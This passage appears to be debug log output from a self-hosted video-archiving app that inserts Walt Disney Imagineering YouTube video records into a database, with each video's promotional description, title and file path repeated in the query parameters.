WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", nil, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, 2, ~U[2025-12-02 00:00:00Z]] 18:56:17.562 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.562 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 00:00:00Z], 2] 18:56:17.565 [debug] QUERY OK source="media_items" db=1.6ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "fbe646b3-faf0-425b-a495-b7a84a039ad3", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, false, 11, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", false, false, 2, [], 98, ~U[2025-11-24 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A (truncated) 18:56:17.565 [debug] QUERY OK source="sources" db=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.566 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 00:00:00Z], 2] 18:56:17.568 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "baa2126e-c1e2-4a57-9aa7-39c49c261f2b", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, false, 12, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, false, 2, [], 98, ~U[2025-11-17 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", nil, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, 2, ~U[2025-11-17 00:00:00Z]] 18:56:17.568 [debug] QUERY OK source="sources" db=0.1ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.569 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:00:00Z], 2] 18:56:17.571 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "cc41e24d-d846-49cf-af28-cf4688911214", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, false, 13, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, false, 2, [], 98, ~U[2025-11-11 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", nil, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, 2, ~U[2025-11-11 00:00:00Z]] 18:56:17.571 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:17.571 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 00:00:00Z], 2] 18:56:17.574 [debug] QUERY OK source="media_items" db=1.4ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "47d044d6-6328-4aa2-b310-d51db97204d3", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, false, 14, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, false, 2, [], 98, ~U[2025-10-31 00:00:00Z], ~U[2026-03-30 22:56:17Z], ~U[2026-03-30 22:56:17Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at 